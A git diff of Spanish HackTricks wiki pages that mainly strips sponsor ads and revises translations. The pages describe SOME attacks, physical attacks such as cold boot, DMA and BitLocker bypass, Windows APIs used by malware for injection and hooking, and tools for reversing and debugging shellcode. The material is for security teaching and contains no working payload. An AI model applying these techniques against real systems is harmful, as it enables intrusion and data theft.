Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -129,7 +115,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**repositorios de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# SOME - Ejecución de Método de Misma Origen
|
||||
# SOME - Same Origin Method Execution
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -15,21 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Ejecución de Método de Misma Origen
|
||||
## Same Origin Method Execution
|
||||
|
||||
Habrá ocasiones en las que podrás ejecutar un javascript limitado en una página. Por ejemplo, en el caso en que puedes [**controlar un valor de callback que será ejecutado**](./#javascript-function).
|
||||
|
||||
|
@ -49,21 +35,21 @@ Básicamente, el flujo del ataque es el siguiente:
|
|||
{% hint style="danger" %}
|
||||
Ten en cuenta que incluso si la página inicial accede a una nueva URL después de haber creado la segunda página, el **objeto `opener` de la segunda página sigue siendo una referencia válida a la primera página en el nuevo DOM**.
|
||||
|
||||
Además, para que la segunda página pueda usar el objeto opener, **ambas páginas deben estar en el mismo origen**. Esta es la razón por la cual, para abusar de esta vulnerabilidad, necesitas encontrar algún tipo de **XSS en el mismo origen**.
|
||||
Además, para que la segunda página pueda usar el objeto opener **ambas páginas deben estar en el mismo origen**. Esta es la razón por la cual, para abusar de esta vulnerabilidad, necesitas encontrar algún tipo de **XSS en el mismo origen**.
|
||||
{% endhint %}
|
||||
|
||||
### Explotación
|
||||
### Exploitation
|
||||
|
||||
* Puedes usar este formulario para **generar un PoC** para explotar este tipo de vulnerabilidad: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* Para encontrar una ruta DOM a un elemento HTML con un clic, puedes usar esta extensión de navegador: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
|
||||
### Ejemplo
|
||||
### Example
|
||||
|
||||
* Puedes encontrar un ejemplo vulnerable en [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
|
||||
* Ten en cuenta que en este ejemplo el servidor está **generando código javascript** y **agregándolo** al HTML basado en el **contenido del parámetro callback:** `<script>opener.{callbacl_content}</script>`. Por eso en este ejemplo no necesitas indicar el uso de `opener` explícitamente.
|
||||
* También revisa este writeup de CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
|
||||
|
||||
|
|
|
@ -15,20 +15,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## Recuperación de Contraseña de BIOS y Seguridad del Sistema
|
||||
|
||||
**Restablecer la BIOS** se puede lograr de varias maneras. La mayoría de las placas base incluyen una **batería** que, al ser retirada durante aproximadamente **30 minutos**, restablecerá la configuración de la BIOS, incluida la contraseña. Alternativamente, se puede ajustar un **puente en la placa base** para restablecer estas configuraciones conectando pines específicos.
|
||||
|
@ -45,7 +31,7 @@ Para sistemas modernos que utilizan **UEFI** en lugar de la BIOS tradicional, se
|
|||
|
||||
### Análisis de RAM y Ataques de Arranque en Frío
|
||||
|
||||
La RAM retiene datos brevemente después de que se corta la energía, generalmente durante **1 a 2 minutos**. Esta persistencia se puede extender a **10 minutos** aplicando sustancias frías, como nitrógeno líquido. Durante este período extendido, se puede crear un **volcado de memoria** utilizando herramientas como **dd.exe** y **volatility** para análisis.
|
||||
La RAM retiene datos brevemente después de que se corta la energía, generalmente durante **1 a 2 minutos**. Esta persistencia se puede extender a **10 minutos** aplicando sustancias frías, como nitrógeno líquido. Durante este período extendido, se puede crear un **volcado de memoria** utilizando herramientas como **dd.exe** y **volatility** para su análisis.
|
||||
|
||||
### Ataques de Acceso Directo a la Memoria (DMA)
|
||||
|
||||
|
@ -73,25 +59,13 @@ Dispositivos como **Rubber Ducky** y **Teensyduino** sirven como plataformas par
|
|||
|
||||
Los privilegios de administrador permiten la creación de copias de archivos sensibles, incluido el archivo **SAM**, a través de PowerShell.
|
||||
|
||||
### Eludir la Encriptación de BitLocker
|
||||
### Eludir la Encriptación BitLocker
|
||||
|
||||
La encriptación de BitLocker puede potencialmente ser eludida si se encuentra la **contraseña de recuperación** dentro de un archivo de volcado de memoria (**MEMORY.DMP**). Herramientas como **Elcomsoft Forensic Disk Decryptor** o **Passware Kit Forensic** pueden ser utilizadas para este propósito.
|
||||
La encriptación BitLocker puede potencialmente ser eludida si se encuentra la **contraseña de recuperación** dentro de un archivo de volcado de memoria (**MEMORY.DMP**). Herramientas como **Elcomsoft Forensic Disk Decryptor** o **Passware Kit Forensic** pueden ser utilizadas para este propósito.
|
||||
|
||||
### Ingeniería Social para Adición de Clave de Recuperación
|
||||
|
||||
Se puede agregar una nueva clave de recuperación de BitLocker a través de tácticas de ingeniería social, convenciendo a un usuario para que ejecute un comando que añade una nueva clave de recuperación compuesta de ceros, simplificando así el proceso de desencriptación.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Se puede agregar una nueva clave de recuperación de BitLocker a través de tácticas de ingeniería social, convenciendo a un usuario para que ejecute un comando que añade una nueva clave de recuperación compuesta de ceros, simplificando así el proceso de descifrado.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,19 +15,11 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Genérico
|
||||
|
||||
### Redes
|
||||
|
||||
| Sockets Crudos | Sockets WinAPI |
|
||||
| Sockets en Crudo | Sockets WinAPI |
|
||||
| ---------------- | -------------- |
|
||||
| socket() | WSAStratup() |
|
||||
| bind() | bind() |
|
||||
|
@ -72,27 +64,27 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### Sigilo
|
||||
|
||||
| Nombre | |
|
||||
| -------------------------- | -------------------------------------------------------------------------- |
|
||||
| VirtualAlloc | Asignar memoria (empaquetadores) |
|
||||
| VirtualProtect | Cambiar permisos de memoria (empaquetador dando permiso de ejecución a una sección) |
|
||||
| ReadProcessMemory | Inyección en procesos externos |
|
||||
| WriteProcessMemoryA/W | Inyección en procesos externos |
|
||||
| NtWriteVirtualMemory | |
|
||||
| CreateRemoteThread | Inyección de DLL/proceso... |
|
||||
| NtUnmapViewOfSection | |
|
||||
| QueueUserAPC | |
|
||||
| CreateProcessInternalA/W | |
|
||||
| Nombre | |
|
||||
| ------------------------ | -------------------------------------------------------------------------- |
|
||||
| VirtualAlloc | Asignar memoria (empaquetadores) |
|
||||
| VirtualProtect | Cambiar permisos de memoria (empaquetador otorgando permisos de ejecución a una sección) |
|
||||
| ReadProcessMemory | Inyección en procesos externos |
|
||||
| WriteProcessMemoryA/W | Inyección en procesos externos |
|
||||
| NtWriteVirtualMemory | |
|
||||
| CreateRemoteThread | Inyección de DLL/proceso... |
|
||||
| NtUnmapViewOfSection | |
|
||||
| QueueUserAPC | |
|
||||
| CreateProcessInternalA/W | |
|
||||
|
||||
### Ejecución
|
||||
|
||||
| Nombre de Función |
|
||||
| -------------------- |
|
||||
| CreateProcessA/W |
|
||||
| ShellExecute |
|
||||
| WinExec |
|
||||
| ResumeThread |
|
||||
| NtResumeThread |
|
||||
| Nombre de Función |
|
||||
| ------------------ |
|
||||
| CreateProcessA/W |
|
||||
| ShellExecute |
|
||||
| WinExec |
|
||||
| ResumeThread |
|
||||
| NtResumeThread |
|
||||
|
||||
### Varios
|
||||
|
||||
|
@ -104,8 +96,8 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
* CreateToolhelp32Snapshot() -- Listar procesos en ejecución
|
||||
* GetDC() -- Captura de pantalla
|
||||
* BitBlt() -- Captura de pantalla
|
||||
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Acceso a Internet
|
||||
* FindResource(), LoadResource(), LockResource() -- Acceso a recursos del ejecutable
|
||||
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Acceder a Internet
|
||||
* FindResource(), LoadResource(), LockResource() -- Acceder a recursos del ejecutable
|
||||
|
||||
## Técnicas de Malware
|
||||
|
||||
|
@ -123,7 +115,7 @@ Otras funciones a utilizar: NTCreateThreadEx, RtlCreateUserThread
|
|||
### Inyección de DLL Reflectiva
|
||||
|
||||
Cargar una DLL maliciosa sin llamar a las llamadas normales de la API de Windows.\
|
||||
La DLL se mapea dentro de un proceso, resolverá las direcciones de importación, arreglará las reubicaciones y llamará a la función DllMain.
|
||||
La DLL se mapea dentro de un proceso, resolverá las direcciones de importación, corregirá las reubicaciones y llamará a la función DllMain.
|
||||
|
||||
### Secuestro de Hilos
|
||||
|
||||
|
@ -150,19 +142,13 @@ El malware desmapeará el código legítimo de la memoria del proceso y cargará
|
|||
|
||||
## Hooking
|
||||
|
||||
* La **SSDT** (**Tabla de Descriptores de Servicio del Sistema**) apunta a funciones del kernel (ntoskrnl.exe) o controlador GUI (win32k.sys) para que los procesos de usuario puedan llamar a estas funciones.
|
||||
* La **SSDT** (**Tabla de Descriptores de Servicios del Sistema**) apunta a funciones del kernel (ntoskrnl.exe) o controlador GUI (win32k.sys) para que los procesos de usuario puedan llamar a estas funciones.
|
||||
* Un rootkit puede modificar estos punteros a direcciones que controla.
|
||||
* **IRP** (**Paquetes de Solicitud de I/O**) transmiten piezas de datos de un componente a otro. Casi todo en el kernel utiliza IRPs y cada objeto de dispositivo tiene su propia tabla de funciones que puede ser enganchada: DKOM (Manipulación Directa de Objetos del Kernel).
|
||||
* La **IAT** (**Tabla de Direcciones de Importación**) es útil para resolver dependencias. Es posible enganchar esta tabla para secuestrar el código que será llamado.
|
||||
* **EAT** (**Tabla de Direcciones de Exportación**) Hooks. Estos hooks pueden hacerse desde **userland**. El objetivo es enganchar funciones exportadas por DLLs.
|
||||
* **Inline Hooks**: Este tipo es difícil de lograr. Esto implica modificar el código de las funciones mismas. Tal vez poniendo un salto al principio de estas.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Herramientas de Reversión Basadas en ImGui
|
||||
|
||||
Software:
|
||||
|
@ -48,7 +40,7 @@ Software:
|
|||
|
||||
dotPeek es un descompilador que **descompila y examina múltiples formatos**, incluyendo **bibliotecas** (.dll), **archivos de metadatos de Windows** (.winmd) y **ejecutables** (.exe). Una vez descompilado, un ensamblaje puede ser guardado como un proyecto de Visual Studio (.csproj).
|
||||
|
||||
El mérito aquí es que si un código fuente perdido requiere restauración desde un ensamblaje legado, esta acción puede ahorrar tiempo. Además, dotPeek proporciona una navegación útil a través del código descompilado, convirtiéndolo en una de las herramientas perfectas para **análisis de algoritmos de Xamarin.**
|
||||
El mérito aquí es que si un código fuente perdido requiere restauración desde un ensamblaje legado, esta acción puede ahorrar tiempo. Además, dotPeek proporciona una navegación útil a través del código descompilado, convirtiéndolo en una de las herramientas perfectas para el **análisis de algoritmos de Xamarin.**
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
|
@ -64,7 +56,7 @@ Con un modelo de complemento integral y una API que extiende la herramienta para
|
|||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Plugin de ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Puedes tenerlo en cualquier sistema operativo (puedes instalarlo directamente desde VSCode, no es necesario descargar el git. Haz clic en **Extensiones** y **busca ILSpy**).\
|
||||
Si necesitas **descompilar**, **modificar** y **recompilar** de nuevo, puedes usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) o un fork mantenido activamente de él, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clic derecho -> Modificar método** para cambiar algo dentro de una función).
|
||||
Si necesitas **descompilar**, **modificar** y **recompilar** nuevamente, puedes usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) o un fork mantenido activamente de él, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clic derecho -> Modificar método** para cambiar algo dentro de una función).
|
||||
|
||||
### Registro de DNSpy
|
||||
|
||||
|
@ -78,7 +70,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
|||
|
||||
Para depurar código usando DNSpy, necesitas:
|
||||
|
||||
Primero, cambia los **atributos de ensamblado** relacionados con **la depuración**:
|
||||
Primero, cambia los **atributos de la Asamblea** relacionados con **la depuración**:
|
||||
|
||||
![](<../../.gitbook/assets/image (973).png>)
|
||||
```aspnet
|
||||
|
@ -99,7 +91,7 @@ Luego guarda el nuevo archivo a través de _**Archivo >> Guardar módulo...**_:
|
|||
|
||||
![](<../../.gitbook/assets/image (602).png>)
|
||||
|
||||
Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que mientras depuras un **punto de interrupción nunca se active** o que algunas **variables no existan**.
|
||||
Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que mientras depuras un **punto de interrupción nunca se active** o algunas **variables no existan**.
|
||||
|
||||
Luego, si tu aplicación .NET está siendo **ejecutada** por **IIS**, puedes **reiniciarla** con:
|
||||
```
|
||||
|
@ -137,16 +129,16 @@ Haz clic derecho en cualquier módulo en **Assembly Explorer** y haz clic en **S
|
|||
### Usando IDA
|
||||
|
||||
* **Cargar rundll32** (64 bits en C:\Windows\System32\rundll32.exe y 32 bits en C:\Windows\SysWOW64\rundll32.exe)
|
||||
* Selecciona el depurador **Windbg**
|
||||
* Selecciona "**Suspend on library load/unload**"
|
||||
* Seleccionar el depurador **Windbg**
|
||||
* Seleccionar "**Suspend on library load/unload**"
|
||||
|
||||
![](<../../.gitbook/assets/image (868).png>)
|
||||
|
||||
* Configura los **parámetros** de la ejecución poniendo la **ruta a la DLL** y la función que deseas llamar:
|
||||
* Configurar los **parámetros** de la ejecución poniendo la **ruta a la DLL** y la función que deseas llamar:
|
||||
|
||||
![](<../../.gitbook/assets/image (704).png>)
|
||||
|
||||
Luego, cuando comiences a depurar, **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá.
|
||||
Luego, cuando comiences a depurar **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá.
|
||||
|
||||
Pero, ¿cómo puedes llegar al código de la DLL que fue cargada? Usando este método, no sé cómo.
|
||||
|
||||
|
@ -154,8 +146,8 @@ Pero, ¿cómo puedes llegar al código de la DLL que fue cargada? Usando este m
|
|||
|
||||
* **Cargar rundll32** (64 bits en C:\Windows\System32\rundll32.exe y 32 bits en C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Cambiar la línea de comandos** (_File --> Change Command Line_) y establecer la ruta de la dll y la función que deseas llamar, por ejemplo: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Cambia _Options --> Settings_ y selecciona "**DLL Entry**".
|
||||
* Luego **inicia la ejecución**, el depurador se detendrá en cada main de dll, en algún momento te **detendrás en la entrada de la dll de tu dll**. Desde allí, solo busca los puntos donde deseas poner un punto de interrupción.
|
||||
* Cambiar _Options --> Settings_ y seleccionar "**DLL Entry**".
|
||||
* Luego **iniciar la ejecución**, el depurador se detendrá en cada main de dll, en algún momento te **detendrás en la entrada de la dll** que deseas depurar. Desde allí, solo busca los puntos donde deseas poner un punto de interrupción.
|
||||
|
||||
Ten en cuenta que cuando la ejecución se detiene por cualquier razón en win64dbg, puedes ver **en qué código estás** mirando en **la parte superior de la ventana de win64dbg**:
|
||||
|
||||
|
@ -195,7 +187,7 @@ Puedes encontrar una versión ligeramente modificada de Blobrunner en el siguien
|
|||
|
||||
### Depurando un shellcode con jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) es muy similar a blobrunner. **Asignará** el **shellcode** dentro de un espacio de memoria y comenzará un **bucle eterno**. Luego necesitas **adjuntar el depurador** al proceso, **presionar iniciar, esperar 2-5 segundos y presionar detener** y te encontrarás dentro del **bucle eterno**. Salta a la siguiente instrucción del bucle eterno ya que será una llamada al shellcode, y finalmente te encontrarás ejecutando el shellcode.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) es muy similar a blobrunner. **Asignará** el **shellcode** dentro de un espacio de memoria y comenzará un **bucle eterno**. Luego necesitas **adjuntar el depurador** al proceso, **presionar iniciar, esperar 2-5 segundos y presionar detener** y te encontrarás dentro del **bucle eterno**. Salta a la siguiente instrucción del bucle eterno, ya que será una llamada al shellcode, y finalmente te encontrarás ejecutando el shellcode.
|
||||
|
||||
![](<../../.gitbook/assets/image (509).png>)
|
||||
|
||||
|
@ -205,7 +197,7 @@ Puedes descargar una versión compilada de [jmp2it en la página de lanzamientos
|
|||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) es la GUI de radare. Usando cutter puedes emular el shellcode e inspeccionarlo dinámicamente.
|
||||
|
||||
Ten en cuenta que Cutter te permite "Abrir archivo" y "Abrir shellcode". En mi caso, cuando abrí el shellcode como un archivo, lo descompiló correctamente, pero cuando lo abrí como un shellcode no:
|
||||
Ten en cuenta que Cutter te permite "Abrir archivo" y "Abrir shellcode". En mi caso, cuando abrí el shellcode como un archivo, lo descompiló correctamente, pero cuando lo abrí como un shellcode no lo hizo:
|
||||
|
||||
![](<../../.gitbook/assets/image (562).png>)
|
||||
|
||||
|
@ -222,7 +214,7 @@ Puedes ver la pila, por ejemplo, dentro de un volcado hexadecimal:
|
|||
### Desofuscando shellcode y obteniendo funciones ejecutadas
|
||||
|
||||
Deberías probar [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
|
||||
Te dirá cosas como **qué funciones** está utilizando el shellcode y si el shellcode se **decodifica** a sí mismo en memoria.
|
||||
Te dirá cosas como **qué funciones** está utilizando el shellcode y si el shellcode se está **decodificando** a sí mismo en memoria.
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
|
@ -235,7 +227,7 @@ scDbg también cuenta con un lanzador gráfico donde puedes seleccionar las opci
|
|||
|
||||
![](<../../.gitbook/assets/image (258).png>)
|
||||
|
||||
La opción **Create Dump** volcará el shellcode final si se realiza algún cambio en el shellcode dinámicamente en memoria (útil para descargar el shellcode decodificado). El **start offset** puede ser útil para iniciar el shellcode en un desplazamiento específico. La opción **Debug Shell** es útil para depurar el shellcode utilizando el terminal de scDbg (sin embargo, encuentro que cualquiera de las opciones explicadas antes es mejor para este asunto, ya que podrás usar Ida o x64dbg).
|
||||
La opción **Create Dump** volcará el shellcode final si se realiza algún cambio en el shellcode dinámicamente en memoria (útil para descargar el shellcode decodificado). El **start offset** puede ser útil para iniciar el shellcode en un desplazamiento específico. La opción **Debug Shell** es útil para depurar el shellcode utilizando el terminal de scDbg (sin embargo, encuentro que cualquiera de las opciones explicadas anteriormente es mejor para este asunto, ya que podrás usar Ida o x64dbg).
|
||||
|
||||
### Desensamblando usando CyberChef
|
||||
|
||||
|
@ -270,7 +262,7 @@ Teniendo el **nombre** de las **funciones** que se están llamando, búscalas en
|
|||
|
||||
Para binarios compilados en Delphi puedes usar [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||
|
||||
Si tienes que revertir un binario de Delphi, te sugeriría usar el plugin de IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
Si tienes que hacer ingeniería inversa a un binario de Delphi, te sugeriría usar el plugin de IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
|
||||
Solo presiona **ATL+f7** (importar plugin de python en IDA) y selecciona el plugin de python.
|
||||
|
||||
|
@ -280,7 +272,7 @@ También es muy interesante porque si presionas un botón en la aplicación grá
|
|||
|
||||
## Golang
|
||||
|
||||
Si tienes que revertir un binario de Golang, te sugeriría usar el plugin de IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
Si tienes que hacer ingeniería inversa a un binario de Golang, te sugeriría usar el plugin de IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
|
||||
Solo presiona **ATL+f7** (importar plugin de python en IDA) y selecciona el plugin de python.
|
||||
|
||||
|
@ -324,7 +316,7 @@ Así que, en este tipo de programa, la parte interesante será **cómo el progra
|
|||
|
||||
![](<../../.gitbook/assets/image (447).png>)
|
||||
|
||||
En la imagen anterior puedes encontrar que la función es llamada desde **FUN\_080015a8** (direcciones: _0x080015fa_ y _0x080017ac_).
|
||||
En la imagen anterior puedes ver que la función es llamada desde **FUN\_080015a8** (direcciones: _0x080015fa_ y _0x080017ac_).
|
||||
|
||||
En esa función, después de algunas operaciones de inicialización (sin ninguna importancia):
|
||||
```c
|
||||
|
@ -393,7 +385,7 @@ En el código anterior, puedes ver que estamos comparando **uVar1** (el lugar do
|
|||
* Luego, se compara con el **valor 8** (botón **START**): En el desafío, esto verifica si el código es válido para obtener la bandera.
|
||||
* En este caso, la var **`DAT_030000d8`** se compara con 0xf3 y si el valor es el mismo, se ejecuta algún código.
|
||||
* En cualquier otro caso, se verifica algún cont (`DAT_030000d4`). Es un cont porque se suma 1 justo después de entrar en el código.\
|
||||
**Si** es menor que 8, se realiza algo que involucra **sumar** valores a \*\*`DAT_030000d8` \*\* (básicamente, se están sumando los valores de las teclas presionadas en esta variable siempre que el cont sea menor que 8).
|
||||
**Si** es menor que 8, se realiza algo que involucra **sumar** valores a \*\*`DAT_030000d8` \*\* (básicamente, se suman los valores de las teclas presionadas en esta variable siempre que el cont sea menor que 8).
|
||||
|
||||
Así que, en este desafío, conociendo los valores de los botones, necesitabas **presionar una combinación con una longitud menor que 8 cuya suma resultante sea 0xf3.**
|
||||
|
||||
|
@ -408,12 +400,6 @@ Así que, en este desafío, conociendo los valores de los botones, necesitabas *
|
|||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Desofuscación binaria)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -422,9 +408,9 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
